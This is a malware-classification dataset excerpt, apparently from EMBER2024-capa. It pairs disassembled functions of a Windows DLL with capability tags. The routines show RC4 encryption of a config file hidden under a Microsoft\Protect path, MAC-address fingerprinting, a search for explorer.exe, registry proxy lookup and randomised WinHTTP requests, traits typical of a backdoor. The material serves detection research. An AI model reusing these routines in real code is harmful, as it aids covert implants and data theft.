joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000222b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 4], ecx
xor edi, edi
movzx eax, byte [esi + 0x101]
movzx edx, byte [esi + 0x100]
mov dword [ebp + 8], eax
lea eax, [edx + 1]
and eax, 0x800000ff
jns 0x1000225e
dec eax
or eax, 0xffffff00
inc eax
movzx ecx, al
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ecx
mov dl, byte [ecx + esi]
movzx ebx, dl
add ebx, dword [ebp + 8]
and ebx, 0x800000ff
jns 0x10002280
dec ebx
or ebx, 0xffffff00
inc ebx
movzx eax, bl
mov dword [ebp + 8], eax
mov al, byte [eax + esi]
mov byte [ecx + esi], al
mov eax, dword [ebp + 8]
mov byte [eax + esi], dl
movzx ecx, byte [ecx + esi]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x100022ab
dec ecx
or ecx, 0xffffff00
inc ecx
mov edx, dword [ebp - 8]
movzx eax, cl
mov ecx, dword [ebp - 4]
mov al, byte [eax + esi]
xor byte [edi + ecx], al
inc edi
cmp edi, 0x640
jl 0x1000224d
mov eax, dword [ebp - 0xc]
pop edi
mov byte [esi + 0x101], bl
mov byte [esi + 0x100], al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000268d
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov eax, 0x288
xorps xmm0, xmm0
push edi
push eax
movlpd qword [ebp - 0x18], xmm0
mov dword [ebp - 8], eax
call fcn.10017f36
mov ebx, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
mov esi, eax
pop ecx
lea eax, [ebp - 8]
mov dword [ebp - 0x1c], esi
push eax
push esi
mov edi, esi
call ebx
cmp eax, 0x6f
jne 0x100026e4
push esi
call fcn.100185f4
push dword [ebp - 8]
call fcn.10017f36
pop ecx
mov esi, eax
mov dword [ebp - 0x1c], eax
pop ecx
mov edi, eax
lea eax, [ebp - 8]
push eax
push esi
call ebx
test eax, eax
jne 0x1000275e
test esi, esi
je 0x1000275e
mov eax, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov ecx, dword [edi + 0x190]
and dword [ebp - 0xc], 0
dec ecx
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x14], ecx
js 0x1000274e
mov esi, dword [ebp - 4]
push dword [ebp - 0xc]
movzx eax, byte [edi + ecx + 0x194]
push dword [ebp - 0x10]
cdq
push edx
push eax
call fcn.100246c0
mov ecx, dword [ebp - 0xc]
add esi, eax
mov eax, dword [ebp - 0x10]
adc ebx, edx
shld ecx, eax, 8
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0x14]
shl eax, 8
dec ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
jns 0x1000270f
mov dword [ebp - 4], esi
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
test ebx, ebx
ja 0x10002769
jb 0x10002758
test eax, eax
jne 0x10002769
mov edi, dword [edi]
test edi, edi
jne 0x100026f5
or eax, 0xffffffff
mov ebx, 0xffff
mov dword [ebp - 4], eax
test esi, esi
je 0x10002777
push esi
call fcn.100185f4
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop esi
mov edx, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002780
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov eax, 0x288
xorps xmm0, xmm0
push edi
push eax
movlpd qword [ebp - 0x18], xmm0
mov dword [ebp - 8], eax
call fcn.10017f36
mov ebx, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
mov esi, eax
pop ecx
lea eax, [ebp - 8]
mov dword [ebp - 0x1c], esi
push eax
push esi
mov edi, esi
call ebx
cmp eax, 0x6f
jne 0x100027d7
push esi
call fcn.100185f4
pop ecx
push dword [ebp - 8]
call fcn.10017f36
mov esi, eax
mov dword [ebp - 0x1c], eax
pop ecx
mov edi, eax
lea eax, [ebp - 8]
push eax
push esi
call ebx
test eax, eax
jne 0x1000286c
test esi, esi
je 0x1000286c
mov eax, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 4], eax
cmp dword [edi + 0x1a0], 6
jne 0x1000285c
mov ecx, dword [edi + 0x190]
and dword [ebp - 0xc], 0
dec ecx
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x14], ecx
js 0x10002852
mov esi, dword [ebp - 4]
push dword [ebp - 0xc]
movzx eax, byte [edi + ecx + 0x194]
push dword [ebp - 0x10]
cdq
push edx
push eax
call fcn.100246c0
mov ecx, dword [ebp - 0xc]
add esi, eax
mov eax, dword [ebp - 0x10]
adc ebx, edx
shld ecx, eax, 8
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0x14]
shl eax, 8
dec ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
jns 0x10002813
mov dword [ebp - 4], esi
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
test ebx, ebx
ja 0x10002876
jb 0x1000285c
test eax, eax
jne 0x10002876
mov edi, dword [edi]
test edi, edi
jne 0x100027f0
test ebx, ebx
ja 0x10002876
jb 0x1000286c
test eax, eax
jne 0x10002876
call fcn.1000268d
mov dword [ebp - 4], eax
mov ebx, edx
test esi, esi
je 0x10002884
push esi
call fcn.100185f4
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop esi
mov edx, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002c26
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x10002c9a
push 0x228
lea eax, [ebp - 0x228]
mov dword [ebp - 0x22c], 0x22c
push 0
push eax
call fcn.10017e80
add esp, 0xc
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x10002c96
lea eax, [ebp - 0x208]
push str.explorer.exe
push eax
call fcn.10018ea5
pop ecx
pop ecx
test eax, eax
je 0x10002ca3
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10002c71
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x224]
call fcn.10002bd5
jmp 0x10002c9c

Function at 0x10002d8d
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push edi
mov edx, ecx
xor eax, eax
push 0x19
pop ecx
push 0x19
lea edi, [edx + 0xd80c]
rep stosd dword es:[edi], eax
lea edi, [edx + 0xd7a8]
pop ecx
rep stosd dword es:[edi], eax
pop edi
mov ecx, edx
pop ebp
jmp fcn.10002db4

Function at 0x10003872
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x104
xor ebx, ebx
push edi
push ebx
mov esi, 0x10038a40
push esi
call fcn.10017e80
add esp, 0xc
push ebx
push 0x1a
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.Microsoft
push edi
push esi
call fcn.1001869f
add esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call esi
push str.Protect
push edi
push 0x10038a40
call fcn.1001869f
add esp, 0xc
push ebx
push 0x10038a40
call esi
push str.Windows_
push edi
push 0x10038a40
call fcn.1001869f
add esp, 0xc
push ebx
mov ebx, 0x10038a40
push ebx
call esi
push dword [ebp + 8]
push str.DMI_X.DAT
push ebx
call fcn.10018710
pop ecx
sub edi, eax
push edi
push ebx
call fcn.10018710
pop ecx
add eax, ebx
push eax
call fcn.100188db
add esp, 0x10
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x10003915
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
push 0x10038a40
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10003942
xor eax, eax
jmp 0x100039c1
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push 0x640
lea ebx, [esi + 0xc840]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0x640
jne 0x1000393e
push ecx
lea eax, [esi + 0xd490]
mov ecx, ebx
push eax
call fcn.100076cc
cmp byte [esi + 0xcc40], 0
pop ecx
pop ecx
jne 0x10003995
push 0x10038a40
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x1000393e
mov eax, dword [esi + 0xcc6c]
cmp eax, 0xaa9abb
je 0x100039be
cmp eax, 0xb9dcfb
je 0x100039be
cmp eax, 0xc91f3b
je 0x100039be
cmp eax, 0xd8617b
je 0x100039be
cmp eax, 0xe7a3bb
jne 0x1000393e
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100039c8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
push ebx
push esi
push edi
xor ebx, ebx
mov edi, ecx
push ebx
push ebx
push 4
push ebx
push 1
push 0x40000000
push 0x10038a40
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100039fa
xor eax, eax
jmp 0x10003a77
push 0x630
lea eax, [ebp - 0x638]
mov dword [ebp - 4], ebx
xorps xmm0, xmm0
push ebx
push eax
movdqu xmmword [ebp - 0x648], xmm0
call fcn.10017e80
add esp, 0xc
lea eax, [edi + 0xc840]
mov ebx, 0x640
push ebx
push eax
lea eax, [ebp - 0x648]
push eax
call fcn.10017fb0
pop ecx
pop ecx
lea eax, [edi + 0xd490]
push eax
lea ecx, [ebp - 0x648]
call fcn.100076cc
pop ecx
pop ecx
push 0
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0x648]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, esi
call fcn.10001d48
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], ebx
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100046b9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
add esi, 0x22
movzx eax, word [esi + 0xe]
lea ebx, [edi + 0xcf88]
add eax, esi
push ebx
push eax
call fcn.1001e599
pop ecx
pop ecx
test eax, eax
jne 0x100047e0
movzx eax, word [esi + 0xa]
add dword [edi + 0xce80], eax
mov dword [ebp + 8], eax
xor eax, eax
push eax
push eax
push 3
push eax
push eax
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000473c
xor edi, edi
push edi
push edi
push dword [esi + 2]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
movzx eax, word [esi + 0xc]
add eax, esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100047e0
xor eax, eax
push eax
push eax
push 3
push eax
push eax
push 0x40000000
lea eax, [edi + 0xcf88]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10004792
push 0
push 0
push dword [esi + 2]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
movzx eax, word [esi + 0xc]
add eax, esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [edi + 0xd798], 0
jmp 0x100047e0
push 0x3e8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
push eax
push eax
push 3
push eax
push eax
push 0x40000000
lea eax, [edi + 0xcf88]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1000475d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0xd798], eax
test eax, eax
je 0x100047e0
push eax
push 0x11
push str.0x02___d_failed_:0x_x
call fcn.10001dcc
add esp, 0xc
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
pop ebp
ret 4
Function at 0x10005473
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0xe2cc
call fcn.10023320
push ebx
mov ebx, dword [ebp + 0x790]
push esi
xor esi, esi
push edi
test ebx, ebx
jne 0x100054e3
xor eax, eax
push 0xc6
mov word [esp + 0x14], ax
lea eax, [esp + 0x16]
push esi
push eax
call fcn.10017e80
add esp, 0xc
lea eax, [esp + 0x10]
push str.LocalB47D655A_66F9_4A3C_BCE1_75ACBF38215C
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
pop ecx
pop ecx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ebx, eax
test ebx, ebx
je 0x100055e6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x100055e6
push 0x27
lea eax, [esp + 0x2e5]
push esi
push eax
call fcn.10017e80
add esp, 0xc
lea eax, [esp + 0x308]
push 0x760
push esi
push eax
call fcn.10017e80
add esp, 0xc
lea esi, [ebp + 8]
xor eax, eax
lea edi, [esp + 0x2e0]
mov word [esp + 0xd8], ax
push 0x52
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x206
push eax
lea eax, [esp + 0xe2]
mov ecx, 0x190
lea esi, [ebp + 0x150]
lea edi, [esp + 0x430]
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.10017e80
add esp, 0xc
lea eax, [esp + 0xd8]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.TS_FB56.tmp
lea eax, [esp + 0xdc]
push esi
push eax
call fcn.1001af77
add esp, 0xc
call fcn.10001d9c
lea ecx, [esp + 0xd8]
call fcn.10001db2
call fcn.10001da7
push str.0x00__ST.
call fcn.10001f93
mov dword [esp], str.0x00__SM.
call fcn.10001f93
cmp dword [esp + 0x858], 0xc91f3b
pop ecx
jne 0x100055f9
lea ecx, [esp + 0xa68]
call fcn.100022d9
lea ecx, [esp + 0xa68]
call fcn.10002cb7
test eax, eax
jne 0x100055ed
push str.0x00__MTT_failed.
call fcn.10001f93
pop ecx
lea ecx, [esp + 0xa68]
call fcn.100022fd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0xa68]
call fcn.100022fd
mov edx, 0x760
lea ecx, [esp + 0x308]
call fcn.1000527b
lea ecx, [esp + 0xa68]
call fcn.100022d9
mov eax, dword [ebp + 0x794]
lea esi, [esp + 0x2e0]
sub esp, 0x788
mov dword [esp + 0x11f4], eax
mov edi, esp
mov ecx, 0x1e2
rep movsd dword es:[edi], dword [esi]
push ebx
lea ecx, [esp + 0x11f4]
call fcn.100023c5
test eax, eax
jne 0x1000565e
push str.0x00__End.
call fcn.10001dcc
pop ecx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xa68]
call fcn.100022fd
jmp 0x1000560a
Function at 0x10005729
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push ebx
push esi
push edi
xor eax, eax
xor edi, edi
push 0x206
mov word [ebp - 0x208], ax
lea eax, [ebp - 0x206]
push edi
push eax
call fcn.10017e80
mov esi, dword [ebp + 8]
add esp, 0xc
mov ebx, 0x104
mov ecx, dword [esi]
push ebx
lea eax, [ecx + 1]
mov dword [esi], eax
lea eax, [ebp - 0x208]
push eax
push ecx
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
test eax, eax
jne 0x10005820
push 8
lea eax, [ebp - 0x208]
push eax
push str.S_1_5_21
call fcn.1001b25c
add esp, 0xc
test eax, eax
jne 0x1000575d
lea eax, [ebp - 0x208]
push str.Classes
push eax
call fcn.10018f5f
pop ecx
pop ecx
test eax, eax
jne 0x1000575d
push 0x206
mov word [ebp - 0x410], ax
lea eax, [ebp - 0x40e]
push edi
push eax
mov dword [ebp + 8], edi
call fcn.10017e80
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push ebx
push eax
call fcn.10018ee3
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
lea eax, [ebp - 0x410]
push ebx
push eax
call fcn.1001af77
add esp, 0x24
lea eax, [ebp + 8]
push eax
push 0x20019
push edi
lea eax, [ebp - 0x410]
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [ebp + 8]
xor edx, edx
test eax, eax
cmovne ecx, edx
mov eax, ecx
jmp 0x10005822
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000582b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa48
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x10], ecx
push 9
mov word [ebp - 0x3c], ax
lea edi, [ebp - 0x3a]
pop ecx
rep stosd dword es:[edi], eax
xor ebx, ebx
push 0x7fe
push ebx
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0xa44], ax
lea eax, [ebp - 0xa42]
push eax
mov dword [ebp - 0x14], ebx
call fcn.10017e80
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
call fcn.10005729
mov edi, eax
test edi, edi
je 0x10005a31
lea eax, [ebp - 8]
mov dword [ebp - 8], 4
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
push eax
push ebx
push ebx
push str.ProxyEnable
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10005a31
cmp dword [ebp - 0xc], ebx
je 0x10005a31
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x400
push eax
lea eax, [ebp - 0xa44]
push eax
push ebx
push ebx
push str.ProxyServer
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x10005a31
mov edi, str.HTTPS
lea eax, [ebp - 0x3c]
push edi
push 0x100321a4
push 0x14
push eax
call fcn.10018916
lea eax, [ebp - 0x3c]
push 0x14
push eax
call fcn.1001b213
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0xa44]
push eax
call fcn.10018f5f
mov esi, eax
add esp, 0x20
test esi, esi
jne 0x10005957
lea eax, [ebp - 0xa44]
push 0x100321ac
push eax
call fcn.10018f5f
pop ecx
pop ecx
test eax, eax
jne 0x1000586d
lea eax, [ebp - 0xa44]
push 0x1002fb68
push eax
call fcn.10018f5f
pop ecx
pop ecx
test eax, eax
je 0x1000586d
jmp 0x100059df
xor eax, eax
push 0x206
mov word [ebp - 0x244], ax
lea eax, [ebp - 0x242]
push ebx
push eax
call fcn.10017e80
lea eax, [ebp - 0x3c]
push eax
call fcn.10018631
lea eax, [esi + eax*2]
mov esi, 0x104
push eax
lea eax, [ebp - 0x244]
push esi
push eax
call fcn.10018ee3
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0xa44]
push esi
push eax
call fcn.10018ee3
lea eax, [ebp - 0xa44]
push eax
call fcn.10018631
add esp, 0x2c
test eax, eax
jle 0x100059df
cmp word [ebp + ebx*2 - 0xa44], 0x3b
jne 0x100059cd
xor eax, eax
mov word [ebp + ebx*2 - 0xa44], ax
lea eax, [ebp - 0xa44]
inc ebx
push eax
call fcn.10018631
pop ecx
cmp ebx, eax
jl 0x100059b8
lea eax, [ebp - 0xa44]
xor ebx, ebx
push eax
inc ebx
call fcn.10018631
cmp eax, 0x28
lea eax, [ebp - 0xa44]
pop ecx
push eax
jbe 0x10005a0b
push 0x100321b0
call fcn.10001f93
pop ecx
pop ecx
xor eax, eax
jmp 0x10005a33
push edi
push edi
push str._s_s:___s
push 0x32
push dword [ebp - 0x10]
call fcn.10018916
lea eax, [ebp - 0xa44]
push eax
push edi
push str.0x04___s_p__s
call fcn.10001f93
add esp, 0x24
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10005ef0
Capabilities:
Prepare http request
Set http header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
push ebx
xor eax, eax
mov dword [ebp - 0x10], ecx
push esi
push edi
mov word [ebp - 0x20], ax
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
xor ebx, ebx
push 0x206
push ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x374], ax
lea eax, [ebp - 0x372]
push eax
call fcn.10017e80
add esp, 0xc
mov dword [ebp - 0x28], 0x100324c8
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], ebx
mov dword [ebp - 8], 0x800100
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
xor eax, eax
mov dword [ebp - 0x3c], 0x26
mov word [ebp - 0x6c], ax
lea edi, [ebp - 0x6a]
push 9
pop ecx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x38], 0x2f
mov dword [ebp - 0x34], 0x3f
mov dword [ebp - 0x30], 0x25
stosw word es:[edi], ax
movzx eax, word [ebp - 0x16]
imul esi, eax, 0x3c
movzx eax, word [ebp - 0x14]
mov dword [ebp - 0x2c], 0x3d
add esi, eax
movzx eax, word [ebp - 0x12]
imul esi, eax
lea eax, [ebp - 0x44]
push eax
call fcn.10018e23
pop ecx
add eax, esi
push eax
call fcn.10018e95
pop ecx
push ebx
push 6
pop edx
push 3
pop ecx
mov dword [ebp - 0xc], ebx
call fcn.1000531a
mov ebx, eax
xor esi, esi
pop ecx
test ebx, ebx
jle 0x10006025
push 0xf
pop edi
push dword [ebp - 0xc]
lea ecx, [esi + 2]
mov edx, edi
call fcn.1000531a
pop ecx
push esi
lea edx, [ebp - 0x6c]
mov dword [ebp - 0xc], eax
mov ecx, eax
call fcn.1000534b
pop ecx
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x374]
push 0x104
push eax
call fcn.1001af77
lea eax, [ebx - 1]
add esp, 0xc
cmp esi, eax
jge 0x1000601f
call fcn.10018e74
push 5
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x3c]
lea eax, [eax + edx*4]
push eax
lea eax, [ebp - 0x374]
push 0x104
push eax
call fcn.1001af77
add esp, 0xc
inc esi
dec edi
cmp esi, ebx
jl 0x10005fbd
push dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
lea eax, [ebp - 0x28]
push eax
push 0
push 0
lea eax, [ebp - 0x374]
push eax
push dword [ebp + 8]
push dword [ebx + 0x270]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
je 0x10006108
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
lea eax, [ebp - 8]
push 4
push eax
push 6
push edi
mov dword [ebp - 8], 0x2bf20
call esi
and dword [ebp - 8], 0
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 8]
mov dword [ebp + 8], 4
push eax
push 0x1f
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryOption]
or dword [ebp - 8], 0x3300
lea eax, [ebp - 8]
push 4
push eax
push 0x1f
push edi
call esi
push 0
push 0
push 0x2f
push dword [ebx + 0x26c]
call esi
xor eax, eax
push 0xfe
push eax
mov word [ebp - 0x16c], ax
lea eax, [ebp - 0x16a]
push eax
call fcn.10017e80
add esp, 0xc
lea eax, [ebp - 0x16c]
push dword [ebp + 0xc]
push str.Host:__s
push 0x80
push eax
call fcn.10018916
add esp, 0x10
lea eax, [ebp - 0x16c]
push 0x20000000
push eax
call fcn.10018631
pop ecx
push eax
lea eax, [ebp - 0x16c]
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100061e4
Capabilities:
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x890
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push edi
push edi
push 1
lea eax, [esi + 0x64]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [esi + 0x26c], eax
test eax, eax
jne 0x10006213
xor eax, eax
jmp 0x10006319
xor eax, eax
push 0x62
mov word [ebp - 0x90], ax
lea eax, [ebp - 0x8e]
push edi
push eax
call fcn.10017e80
add esp, 0xc
xor eax, eax
mov word [ebp - 0x890], ax
lea eax, [ebp - 0x88e]
push 0x7fe
push edi
push eax
call fcn.10017e80
pop ecx
pop ecx
lea eax, [ebp - 0x890]
push eax
call fcn.10005a3c
lea eax, [ebp - 0x890]
push eax
call fcn.10018631
pop ecx
test eax, eax
je 0x1000620c
push str.https:__
lea eax, [ebp - 0x90]
push 0x32
push eax
call fcn.10018ee3
add esp, 0xc
lea eax, [ebp - 0x90]
push dword [ebp + 8]
push 0x32
push eax
call fcn.1001af77
xor eax, eax
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
add esp, 0xc
mov dword [ebp - 4], edi
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x890]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 2
push eax
lea eax, [ebp - 0x90]
push eax
push dword [esi + 0x26c]
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
test eax, eax
je 0x1000620c
cmp dword [ebp - 0xc], 3
jne 0x100062f2
push 0xc
lea eax, [ebp - 0xc]
push eax
push 0x26
push dword [esi + 0x26c]
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
cmp dword [ebp - 8], 0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFree]
je 0x10006303
push dword [ebp - 8]
call edi
cmp dword [ebp - 4], 0
je 0x1000630e
push dword [ebp - 4]
call edi
push ecx
push dword [ebp + 8]
mov ecx, esi
call fcn.10005e14
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8